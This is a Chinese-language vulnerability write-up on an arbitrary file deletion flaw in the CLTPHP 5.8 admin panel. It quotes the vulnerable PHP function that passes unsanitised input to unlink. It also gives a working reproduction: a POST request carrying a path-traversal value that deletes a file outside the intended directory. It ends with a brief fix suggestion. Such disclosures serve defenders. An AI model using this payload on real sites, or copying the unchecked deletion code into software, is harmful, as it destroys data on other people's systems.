menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right CLTPHP 5.8 后台任意文件删除漏洞 chevron_right CLTPHP 5.8 后台任意文件删除漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CLTPHP 5.8 后台任意文件删除漏洞.md
    1.81 KB / 2021-07-15 19:49:35
        CLTPHP 5.8 后台任意文件删除漏洞
    ===============================
    
    一、漏洞简介
    ------------
    
    CLTPHP是基于ThinkPHP5开发,后台采用Layui框架的内容管理系统,
    
    二、漏洞影响
    ------------
    
    CLTPHP 5.8及之前版本
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    `app/admin/controller/Database.php` 第221-248行:
    
        public function delSqlFiles() {  
          $batchFlag = input('param.batchFlag', 0, 'intval');  
          //批量删除  
          if ($batchFlag) {  
            $files = input('key', array());  
          }else {  
            $files[] = input('sqlfilename' , '');  
          }  
          if (empty($files)) {  
        \10.     $result['msg'] = '请选择要删除的sql文件!';  
        \11.     $result['code'] = 0;  
        \12.     return $result;  
        \13.   }  
        \14.  
        \15.   foreach ($files as $file) {  
        \16.     $a = unlink($this->datadir.'/' . $file);  
        \17.   }  
        \18.   if($a){  
        \19.     $result['msg'] = '删除成功!';  
        \20.     $result['url'] = url('restore');  
        \21.     $result['code'] = 1;  
        \22.     return $result;  
        \23.   }else{  
        \24.     $result['msg'] = '删除失败!';  
        \25.     $result['code'] = 0;  
        \26.     return $result;  
        \27.   }  
        \28. }  
    
    在这段函数中,参数sqlfilename未经任何处理,直接带入unlink函数中删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件。
    
    ### 漏洞复现
    
    构造URL,成功删除根目录的1.txt文件
    
        http://www.0-sec.org/admin/Database/delSqlFiles.html
    
         
        POST: sqlfilename=..\\..\\1.txt
    
    ![11.png](./resource/CLTPHP5.8后台任意文件删除漏洞/media/rId26.png)
    
    ### 修复建议
    
    > 对于要删除的文件,通过正则判断用户输入的参数的格式,看输入的格式是否合法。
    
    
    links
    file_download